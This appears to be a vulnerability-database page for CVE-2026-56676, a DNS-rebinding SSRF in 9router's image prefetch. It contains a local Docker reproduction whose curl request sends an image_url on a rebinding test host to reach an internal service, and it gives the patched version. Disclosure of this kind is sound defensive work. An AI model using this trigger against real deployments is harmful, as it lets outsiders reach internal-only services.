CVE-2026-56676High· 7.4▾ Twilight9router: Image prefetch DNS rebinding allows SSRF to internal services
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 40.7 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.3%
9router validates image URLs by resolving the host before fetching, but the later server-side fetch performs a separate DNS resolution. An attacker-controlled DNS name can resolve to a public IP during validation and then rebind to an internal Docker/private IP during the fetch. This allows the server-side image prefetch to reach internal-only HTTP services (SSRF).
v0.4.80 @ b282f05./v1/chat/completions with a vision-capable model and an
image_url content part. A vision-capable model name is required so the image survives
modality stripping and the server-side prefetch is armed.rebind.9r.test:
1.1.1.1 (public) to pass the public-host guard,172.29.0.10 (internal-admin) during the fetch.GET /ssrf-marker with peer=172.29.0.30 (the proxied-router
container), proving the server-side fetch landed on the internal service.POST /api/chat and the flow completes with HTTP 200.This repository is a self-contained Docker Compose reproduction. No real provider is called and no real API key is required.
docker compose up --build
internal-admin is unreachable from the host:
curl -i http://127.0.0.1:18083/ssrf-marker # connection refused / fail
docker compose ps # internal-admin has NO host port mapping
POST image-prefetch DNS rebinding trigger from
requests.http, or with curl:
curl -i -X POST http://127.0.0.1:18082/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{
"model": "ollama-local/gemma3",
"messages": [{"role":"user","content":[
{"type":"text","text":"reproduction image-prefetch trigger"},
{"type":"image_url","image_url":{"url":"http://rebind.9r.test:8080/ssrf-marker?case=rebind-trigger"}}
]}],
"stream": false
}'
9router <= 0.4.80Upgrade to a patched release:
9router 0.5.2Connected by shared product, vendor, weakness, or advisory.
CVE-2026-56675High· 8.39router /v1 APIs has unauthenticated access via reverse proxy locality collapse
CVE-2026-56678Medium· 6.49router: Kiro region injection allows authenticated SSRF with Authorization header forwarding
CVE-2026-55638High· 8.69router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass
CVE-2026-56677High· 8.69Router is an AI router & token saver
CVE-2026-56679High9router: Mass assignment in PATCH /api/settings allows authenticated authorization downgrade
CVE-2026-56682Medium· 5.39Router is an AI router & token saver